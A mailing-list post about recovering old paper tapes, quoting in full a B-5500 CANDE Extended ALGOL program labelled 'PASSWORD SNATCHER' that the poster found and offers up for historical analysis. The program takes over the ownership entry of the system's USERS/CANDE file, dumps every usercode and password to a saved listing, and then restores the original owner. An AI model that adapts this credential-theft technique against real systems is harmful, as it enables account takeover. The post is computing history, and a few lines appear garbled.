[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
paper tapes: B-5500 CANDE Extended ALGOL program
I got my Mac serial interface for an old GE photoelectric
paper tape reader working reliably this weekend.
(UART, baud rate generator, crystal, line driver & receiver,
and a couple of J/K flip/flops to make it simpler to start
and stop the clock, a bread-board's power supplies &
signal generator, which you can twiddle to change the speed.)
I'm about 1/3 of the way through my paper tapes.
Some don't have any <NUL> (^@ or ctrl/shift/P on a TTY)
leader (what was I thinking?!?!?) so I'll use another piece
as a template and try to add some sprocket holes to the blank leader.
The DEPRESS paper tapes have the Supreme Court Justices study,
although it is binary, and I'll have to fiddle more before I can read it.
(I'm using Microphone [Light, probably] and capturing from the stream
to disk; I don't trust its handling of binary data. I'll drag
out the HP/Apollo workstation [it was SourceCraft's UUCP first
network gateway] if I have to, or perhaps build more hardware
to send each frame as 2 printing characters. But not soon.)
Anyway, here's the most interesting thing I found:
a B-5500 CANDE Extended ALGOL program.
I did *not* write it or use it.
Would anyone like to either 'fess up or provide an analysis?
(Gary, maybe you can use it as an example of an early '70s
security problem? :-)
Before anyone complains about the formatting,
remember that it was probably done on a 110 baud TTY.
- Aron
1010 BEGIN COMMENT A PROGRAM TO SNATCH USERCODES AND PASSWORDS;
1020 FILE TTY REMOTE (1,9); FORMAT OUT ID (/"PASSWORD SNATCHER"/);
1030 ALPHA NEWUSER; BOOLEAN SAVETIME; LABEL EXIT;
1040 PROCEDURE CHANGEMAKER(AFILE,USER,NEW,SKIPIT);
1050 VALUE AFILE,USER; ALPHA AFILE,USER,NEW; BOOLEAN SKIPIT; BEGIN
1060 FILE DIRCTRY DISK SERIAL "DIRCTRY"/"DISK" (1,2,30);
1070 FORMAT OUT HEAD (/"MFID FID"/O,X1,O/,
1080 "OLD USER NEW USER"/O,X1,O/), NULL (/"NOT FOUND"/);
1090 ALPHA MFID,FID,EXUSER,DUMMY;
1100 INTEGER BIG,PLUS; OWN INTEGER WHERE;
1105 IF NOT SKIPIT THEN BEGIN LABEL BRANCH,FOUND;
1110 PROCEDURE TEST(RED); VALUE RED; ALPHA RED;
1120 IF +0&RED[4:46:5] NEQ +0 THEN GO TO BRANCH;
1130 FOR BIG:=225 STEP 240 WHILE TRUE DO
1140 FOR PLUS:=0 STEP 1 UNTIL 13 DO BEGIN
1150 READ(DIRCTRY[BIG+PLUS],*,MFID,FID)[BRANCH];
1160 TEST(MFID); TEST(FID);
1170 IF MFID EQL AFILE AND FID EQL USER THEN GO TO FOUND END;
1180 BRANCH: WRITE(TTY,NULL); GO TO EXIT;
1190 FOUND: WHERE:=BIG-15\(15-PLUS)+1;
1195 SKIPIT:=TRUE END;
1200 READ(DIRCTRY[WHERE],*,EXUSER,DUMMY)[EXIT];
1210 WRITE(DIRCTRY[WHERE],*,NEW,DUMMY)[EXIT];
1220 WRITE(TTY,HEAD,AFILE,USER,EXUSER,NEW);
1230 NEW:=EXUSER END DU CHANGEMAKER;
1240 PROCEDURE SNATCHTHESTUFF; BEGIN
1250 FILE IN USERS DISK SERIAL "USERS"/"CANDE" (2,30,30);
1260 SAVE FILE OUT LISTING DISK SERIAL [10:1023] "UIOP" (2,10,30);
1270 FORMAT IN READIT (X9,A3,A4,X1,A3,A4,X9,A3,2A6);
1280 FORMAT OUT HEADIT (64("*"),///X20,"UNIVERSITY OF DELAWARE"/,
1290 X19,"B5500 TIME-SHARING SYSTEM"///64("*")///,
1300 "USERCODES"/" AND"/"PASSWORDS"/" REVISED 6/30/71"//64("-")/),
1310 X6," USERCODE",X10,"PASSWORD",X9,"NAME OF USER"/64("-")/),
1320 TEXTIT (X7,A3,A4,X11,A3,A4,X10,A3,2A6), TYPEIT (/"LIST CREATED"/),
1330 SLASHIT (10(/)); LABEL EOFIT; ALPHA A,B,C,D,E,F,G;
1340 LIST ITEMS (A,B,C,D,E,F,G);
1350 WRITE(LISTING,SLASHIT); WRITE(LISTINEIT); SPACE(USERS,30);
1360 WHILE TRUE DO BEGIN
1370 READ(USERS,READIT,ITEMS)[EOFIT];
1380 WRITE(LISTING,TEXTIT,ITEMS) END;
1390 EOFIT: WRITE(LISTING,SLASHIT);
1400 WRITE(TTY,TYPEIT) END DU SNATCHTHESTUFF;
1410 WRITE(TTY,ID);
1440 NEWUSER:=TIME(-1);
1445 SAVETIME:=FALSE;
1450 CHANGEMAKER("USERS ","CANDE ",NEWUSER,SAVETIME);
1460 SNATCHTHESTUFF;
1470 CHANGEMAKER("USERS ","CANDE ",NEWUSER,SAVETIME)
1480 EXIT: END. OF THE FILE SECURITY